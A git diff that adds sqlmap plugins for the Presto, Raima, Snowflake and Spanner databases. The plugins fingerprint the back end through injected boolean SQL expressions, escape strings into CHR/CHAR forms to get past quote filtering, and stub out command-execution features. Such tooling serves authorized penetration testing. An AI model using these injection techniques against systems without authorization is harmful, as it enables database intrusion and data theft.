setDbms(DBMS.PRESTO) + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.PRESTO + logger.info(infoMsg) + + # Reference: https://prestodb.io/docs/current/release/release-0.200.html + if inject.checkBooleanExpression("FROM_IEEE754_32(NULL) IS NULL"): + Backend.setVersion(">= 0.200") + # Reference: https://prestodb.io/docs/current/release/release-0.193.html + elif inject.checkBooleanExpression("NORMAL_CDF(NULL,NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.193") + # Reference: https://prestodb.io/docs/current/release/release-0.183.html + elif inject.checkBooleanExpression("MAP_ENTRIES(NULL) IS NULL"): + Backend.setVersion(">= 0.183") + # Reference: https://prestodb.io/docs/current/release/release-0.171.html + elif inject.checkBooleanExpression("CODEPOINT(NULL) IS NULL"): + Backend.setVersion(">= 0.171") + # Reference: https://prestodb.io/docs/current/release/release-0.162.html + elif inject.checkBooleanExpression("XXHASH64(NULL) IS NULL"): + Backend.setVersion(">= 0.162") + # Reference: https://prestodb.io/docs/current/release/release-0.151.html + elif inject.checkBooleanExpression("COSINE_SIMILARITY(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.151") + # Reference: https://prestodb.io/docs/current/release/release-0.143.html + elif inject.checkBooleanExpression("TRUNCATE(NULL) IS NULL"): + Backend.setVersion(">= 0.143") + # Reference: https://prestodb.io/docs/current/release/release-0.137.html + elif inject.checkBooleanExpression("BIT_COUNT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.137") + # Reference: https://prestodb.io/docs/current/release/release-0.130.html + elif inject.checkBooleanExpression("MAP_CONCAT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.130") + # Reference: https://prestodb.io/docs/current/release/release-0.115.html + elif inject.checkBooleanExpression("SHA1(NULL) IS NULL"): + Backend.setVersion(">= 0.115") + # Reference: https://prestodb.io/docs/current/release/release-0.100.html + elif inject.checkBooleanExpression("SPLIT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.100") + # Reference: https://prestodb.io/docs/current/release/release-0.70.html + elif inject.checkBooleanExpression("GREATEST(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.70") + else: + Backend.setVersion("< 0.100") + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/presto/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py new file mode 100644 index 00000000000..ab6233905d6 --- /dev/null +++ b/plugins/dbms/presto/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Presto it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Presto it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Presto it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Presto it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/raima/__init__.py b/plugins/dbms/raima/__init__.py new file mode 100644 index 00000000000..ab55bcffd6c --- /dev/null +++ b/plugins/dbms/raima/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import RAIMA_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.raima.enumeration import Enumeration +from plugins.dbms.raima.filesystem import Filesystem +from plugins.dbms.raima.fingerprint import Fingerprint +from plugins.dbms.raima.syntax import Syntax +from plugins.dbms.raima.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class RaimaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Raima methods + """ + + def __init__(self): + self.excludeDbsList = RAIMA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.RAIMA] = Syntax.escape diff --git a/plugins/dbms/raima/connector.py b/plugins/dbms/raima/connector.py new file mode 100644 index 00000000000..75e1c30f8fc --- /dev/null +++ b/plugins/dbms/raima/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Raima Database Manager it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/raima/enumeration.py b/plugins/dbms/raima/enumeration.py new file mode 100644 index 00000000000..b0cbd38208a --- /dev/null +++ b/plugins/dbms/raima/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Raima Database Manager it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def getCurrentDb(self): + warnMsg = "on Raima Database Manager it is not possible to get name of the current database" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Raima Database Manager it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Raima Database Manager it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on Raima Database Manager it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Raima Database Manager it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Raima Database Manager it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on Raima Database Manager search option is not available" + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/raima/filesystem.py b/plugins/dbms/raima/filesystem.py new file mode 100644 index 00000000000..817d0e20ff6 --- /dev/null +++ b/plugins/dbms/raima/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Raima Database Manager it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Raima Database Manager it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/raima/fingerprint.py b/plugins/dbms/raima/fingerprint.py new file mode 100644 index 00000000000..a62a674dedf --- /dev/null +++ b/plugins/dbms/raima/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import RAIMA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.RAIMA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.RAIMA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(RAIMA_ALIASES): + setDbms(DBMS.RAIMA) + return True + + infoMsg = "testing %s" % DBMS.RAIMA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ROWNUMBER()=ROWNUMBER()") + + if result: + infoMsg = "confirming %s" % DBMS.RAIMA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("INSSTR('[RANDSTR1]',0,0,'[RANDSTR2]') IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.RAIMA + logger.warning(warnMsg) + + return False + + setDbms(DBMS.RAIMA) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.RAIMA + logger.warning(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = ("%s%s" % (DBMS.RAIMA, METADB_SUFFIX)).replace(' ', '_') diff --git a/plugins/dbms/raima/syntax.py b/plugins/dbms/raima/syntax.py new file mode 100644 index 00000000000..cfc1c86a8ca --- /dev/null +++ b/plugins/dbms/raima/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/raima/takeover.py b/plugins/dbms/raima/takeover.py new file mode 100644 index 00000000000..01bce20a13d --- /dev/null +++ b/plugins/dbms/raima/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Raima Database Manager it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Raima Database Manager it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Raima Database Manager it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Raima Database Manager it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/__init__.py b/plugins/dbms/snowflake/__init__.py new file mode 100644 index 00000000000..c3318596441 --- /dev/null +++ b/plugins/dbms/snowflake/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import SNOWFLAKE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.snowflake.enumeration import Enumeration +from plugins.dbms.snowflake.filesystem import Filesystem +from plugins.dbms.snowflake.fingerprint import Fingerprint +from plugins.dbms.snowflake.syntax import Syntax +from plugins.dbms.snowflake.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class SnowflakeMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Snowflake methods + """ + + def __init__(self): + self.excludeDbsList = SNOWFLAKE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.SNOWFLAKE] = Syntax.escape diff --git a/plugins/dbms/snowflake/connector.py b/plugins/dbms/snowflake/connector.py new file mode 100644 index 00000000000..cad4fd3a932 --- /dev/null +++ b/plugins/dbms/snowflake/connector.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import snowflake.connector +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.convert import getText +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://www.snowflake.com/ + User guide: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector + API: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector-api + """ + + def __init__(self): + GenericConnector.__init__(self) + + def connect(self): + self.initConnection() + + # Snowflake's mandatory 'account' identifier is carried in the DSN host field + # (e.g. -d "snowflake://user:pass@ACCOUNT/db"); warehouse/schema are optional. These were previously + # read from self.account/self.warehouse/self.schema which were never set anywhere -> AttributeError on + # every attempt. + self.account = self.hostname + self.warehouse = getattr(self, "warehouse", None) + self.schema = getattr(self, "schema", None) + + try: + self.connector = snowflake.connector.connect( + user=self.user, + password=self.password, + account=self.account, + warehouse=self.warehouse, + database=self.db, + schema=self.schema + ) + cursor = self.connector.cursor() + cursor.execute("SELECT CURRENT_VERSION()") + cursor.close() + + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except Exception as ex: + logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(getText(query)) + except Exception as ex: + logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/snowflake/enumeration.py b/plugins/dbms/snowflake/enumeration.py new file mode 100644 index 00000000000..c742a6960c9 --- /dev/null +++ b/plugins/dbms/snowflake/enumeration.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Snowflake it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Snowflake it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def searchDb(self): + warnMsg = "on Snowflake it is not possible to search databases" + logger.warning(warnMsg) + return [] + + def searchColumn(self): + errMsg = "on Snowflake it is not possible to search columns" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/filesystem.py b/plugins/dbms/snowflake/filesystem.py new file mode 100644 index 00000000000..23ba254b08b --- /dev/null +++ b/plugins/dbms/snowflake/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Snowflake it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Snowflake it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/fingerprint.py b/plugins/dbms/snowflake/fingerprint.py new file mode 100644 index 00000000000..512e7427e4c --- /dev/null +++ b/plugins/dbms/snowflake/fingerprint.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import SNOWFLAKE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.SNOWFLAKE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.SNOWFLAKE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + """ + References for fingerprint: + + * https://docs.snowflake.com/en/sql-reference/functions/current_warehouse + * https://docs.snowflake.com/en/sql-reference/functions/md5_number_upper64 + """ + + if not conf.extensiveFp and Backend.isDbmsWithin(SNOWFLAKE_ALIASES): + setDbms("%s %s" % (DBMS.SNOWFLAKE, Backend.getVersion())) + self.getBanner() + return True + + infoMsg = "testing %s" % DBMS.SNOWFLAKE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CURRENT_WAREHOUSE()=CURRENT_WAREHOUSE()") + if result: + infoMsg = "confirming %s" % DBMS.SNOWFLAKE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("MD5_NUMBER_UPPER64('[RANDSTR]')=MD5_NUMBER_UPPER64('[RANDSTR]')") + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE + logger.warning(warnMsg) + return False + + setDbms(DBMS.SNOWFLAKE) + self.getBanner() + return True + + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/snowflake/syntax.py b/plugins/dbms/snowflake/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/snowflake/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/snowflake/takeover.py b/plugins/dbms/snowflake/takeover.py new file mode 100644 index 00000000000..0acd82169f0 --- /dev/null +++ b/plugins/dbms/snowflake/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Snowflake it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Snowflake it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Snowflake it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Snowflake it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/spanner/__init__.py b/plugins/dbms/spanner/__init__.py new file mode 100644 index 00000000000..c93099298f9 --- /dev/null +++ b/plugins/dbms/spanner/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import SPANNER_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.spanner.enumeration import Enumeration +from plugins.dbms.spanner.filesystem import Filesystem +from plugins.dbms.spanner.fingerprint import Fingerprint +from plugins.dbms.spanner.syntax import Syntax +from plugins.dbms.spanner.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class SpannerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Spanner methods + """ + + def __init__(self): + self.excludeDbsList = SPANNER_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.SPANNER] = Syntax.escape diff --git a/plugins/dbms/spanner/connector.py b/plugins/dbms/spanner/connector.py new file mode 100644 index 00000000000..83a868de757 --- /dev/null +++ b/plugins/dbms/spanner/connector.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + pass diff --git a/plugins/dbms/spanner/enumeration.py b/plugins/dbms/spanner/enumeration.py new file mode 100644 index 00000000000..afeddf49630 --- /dev/null +++ b/plugins/dbms/spanner/enumeration.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.settings import SPANNER_DEFAULT_SCHEMA +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getCurrentDb(self): + return SPANNER_DEFAULT_SCHEMA + + def getCurrentUser(self): + warnMsg = "on Spanner it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Spanner it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Spanner it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Spanner it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Spanner it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Spanner it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Spanner it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/spanner/filesystem.py b/plugins/dbms/spanner/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/spanner/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/spanner/fingerprint.py b/plugins/dbms/spanner/fingerprint.py new file mode 100644 index 00000000000..c0046d2aebf --- /dev/null +++ b/plugins/dbms/spanner/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import SPANNER_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.SPANNER) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.SPANNER + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(SPANNER_ALIASES): + setDbms(DBMS.SPANNER) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.SPANNER + logger.info(infoMsg) + + result = inject.checkBooleanExpression("FARM_FINGERPRINT('sqlmap') IS NOT NULL") + + if result: + infoMsg = "confirming %s" % DBMS.SPANNER + logger.info(infoMsg) + + result = inject.checkBooleanExpression("SAFE_CAST(1 AS INT64)=1") + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.SPANNER + logger.warning(warnMsg) + + return False + + setDbms(DBMS.SPANNER) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.SPANNER + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/spanner/syntax.py b/plugins/dbms/spanner/syntax.py new file mode 100644 index 00000000000..bf6ab5ddb60 --- /dev/null +++ b/plugins/dbms/spanner/syntax.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + Note: Google Standard SQL (Spanner) natively supports converting integer arrays + to strings via CODE_POINTS_TO_STRING(). This is much cleaner and shorter + than chaining multiple CHR() functions with the || operator. + + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE_POINTS_TO_STRING([97, 98, 99, 100, 101, 102, 103, 104]) FROM foobar" + True + """ + + def escaper(value): + return "CODE_POINTS_TO_STRING([%s])" % ", ".join(str(_) for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/spanner/takeover.py b/plugins/dbms/spanner/takeover.py new file mode 100644 index 00000000000..6480966e80c --- /dev/null +++ b/plugins/dbms/spanner/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Spanner it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Spanner it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Spanner it is not 